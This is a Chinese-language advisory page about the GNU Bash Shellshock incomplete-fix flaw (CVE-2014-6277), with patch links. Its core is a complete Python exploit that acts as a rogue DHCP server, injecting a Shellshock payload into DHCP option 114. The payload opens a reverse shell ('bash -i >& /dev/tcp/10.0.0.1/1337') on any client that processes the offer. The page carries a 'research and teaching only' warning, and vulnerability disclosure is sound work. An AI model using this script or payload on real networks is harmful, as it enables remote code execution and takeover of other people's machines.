GNU Bash不完整修复远程代码执行漏洞(CVE-2014-6277)

文章由LinuxBoy分享于2019-04-02 04:04:37热评（325）

GNU Bash不完整修复远程代码执行漏洞(CVE-2014-6277)

发布日期：2014-09-27
更新日期：2014-10-08

受影响系统：
GNU Bash <= 4.3 bash43-026
描述：
BUGTRAQ ID: 70165
CVE(CAN) ID: CVE-2014-6277

Bash，Unix shell的一种，在1987年由布莱恩·福克斯为了GNU计划而编写。

GNU Bash 4.3 bash43-026及之前版本没有正确解析环境变量值中的函数定义，这可使远程攻击者通过构造的环境，利用此漏洞执行任意代码或者造成拒绝服务。此漏洞源于CVE-2014-6271及CVE-2014-7169的不完整修复。

Gitlab-shell 受 Bash CVE-2014-6271 漏洞影响

Linux再曝安全漏洞Bash 比心脏出血还严重

解决办法是升级 Bash，请参考这篇文章。

Linux Bash安全漏洞修复

<*来源：Michal Zalewski （lcamtuf@echelon.pl）

链接：http://secunia.com/advisories/61549/
*>

测试方法：

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
#!/usr/bin/python
# Exploit Title: dhclient shellshocker
# Google Dork: n/a
# Date: 10/1/14
# Exploit Author: @0x00string
# Vendor Homepage: gnu.org
# Software Link: http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
# Version: 4.3.11
# Tested on: Ubuntu 14.04.1
# CVE : CVE-2014-6277,CVE-2014-6278,CVE-2014-7169,CVE-2014-7186,CVE-2014-7187
# ______ ______ ______ _
# / __ | / __ |/ __ | _ (_)
#| | //| |_ _| | //| | | //| | ___| |_ ____ _ ____ ____ ___
#| |// | ( \ / ) |// | | |// | |/___) _) / ___) | _ \ / _ |/___)
#| /__| |) X (| /__| | /__| |___ | |__| | | | | | ( ( | |___ |
# \_____/(_/ \_)\_____/ \_____/(___/ \___)_| |_|_| |_|\_|| (___/
# (_____|
# _ _ _ _
# | | | | (_) _
# _ | | | _ ____| |_ ____ ____ | |_
# / || | || \ / ___) | |/ _ ) _ \| _)
#( (_| | | | ( (___| | ( (/ /| | | | |__
# \____|_| |_|\____)_|_|\____)_| |_|\___)
#
# _ _ _ _ _
# | | | | | | | | |
# ___| | _ ____| | | ___| | _ ___ ____| | _ ____ ____
# /___) || \ / _ ) | |/___) || \ / _ \ / ___) | / ) _ )/ ___)
#|___ | | | ( (/ /| | |___ | | | | |_| ( (___| |< ( (/ /| |
#(___/|_| |_|\____)_|_(___/|_| |_|\___/ \____)_| \_)____)_|

# this buddy listens for clients performing a DISCOVER, a later version will exploit periodic REQUESTs, which can sometimes be prompted by causing IP conflicts
# once a broadcast DISCOVER packet has been detected, the XID, MAC and requested IP are pulled from the pack and a corresponding OFFER and ACK are generated and pushed out
# The client is expected to reject the offer in preference of their known DHCP server, but will still process the packet, triggering the vulnerability.
# can use option 114, 56 or 61, though is hardcoded to use 114 as this is merely a quick and dirty example.

import socket, struct
def HexToByte( hexStr ):
b = []
h = ''.join( h.split(" ") )
for i in range(0, len(h), 2):
b.append( chr( int (h[i:i+2], 16 ) ) )
return ''.join( b )

rport = 68
lport = 67

bsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

bsock.bind(("<broadcast>", lport))

while True:

OP = "72" # 56, Message - RFC 1533,2132. 61, Client-identifier - RFC 1533,2132,4361 or 114, URL - RFC 3679 are currently known to work, here we use 114
URL = "() { :;}; bash -i >& /dev/tcp/10.0.0.1/1337 0>&1".encode("hex")
URLLEN = chr(len(URL) / 2).encode("hex")
END = "03040a000001ff"
broadcast_get, (bcrhost, rport) = bsock.recvfrom(2048)
hexip = broadcast_get[245:249]
rhost = str(ord(hexip[0])) + "." + str(ord(hexip[1])) + "." + str(ord(hexip[2])) + "." + str(ord(hexip[3]))
XID = broadcast_get[4:8].encode("hex")
chaddr = broadcast_get[29:34].encode("hex")
print "[+]\tgot broadcast with XID " + XID + " requesting IP " + rhost + "\n"
OFFER = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010236040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END
OFFER_BYTES = HexToByte(OFFER)
ACK = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010536040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END
ACK_BYTES = HexToByte(ACK)
print "[+]\tsending evil offer\n"
sock.sendto(OFFER_BYTES, (rhost, rport))
broadcast_get2 = bsock.recvfrom(2048)
print "[+]\tassuming request was received, sending ACK\n"
sock.sendto(ACK_BYTES, (rhost, rport))

建议：
厂商补丁：

GNU
---
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.gnu.org/software/bash
http://lcamtuf.blogspot.com/2014/09/bash-bug-apply-unofficial-patch-now.html
https://www.suse.com/support/shellshock/
http://support.novell.com/security/cve/CVE-2014-6277.html
https://kb.bluecoat.com/index?page=content&id=SA82

GNU Bash:
http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-027
http://ftp.gnu.org/gnu/bash/bash-4.2-patches/bash42-050
http://ftp.gnu.org/gnu/bash/bash-4.1-patches/bash41-014
http://ftp.gnu.org/gnu/bash/bash-4.0-patches/bash40-041
http://ftp.gnu.org/gnu/bash/bash-3.2-patches/bash32-054
http://ftp.gnu.org/gnu/bash/bash-3.1-patches/bash31-020
http://ftp.gnu.org/gnu/bash/bash-3.0-patches/bash30-019
http://ftp.gnu.org/gnu/bash/bash-2.05b-patches/bash205b-010

Michal Zalewski:
http://lcamtuf.blogspot.com/2014/09/bash-bug-apply-unofficial-patch-now.html
http://lcamtuf.blogspot.com/2014/10/bash-bug-how-we-finally-cracked.html

本文永久更新链接地址：

推荐文章：

GNU Bash不完整修复远程代码执行漏洞(CVE-2014-6277)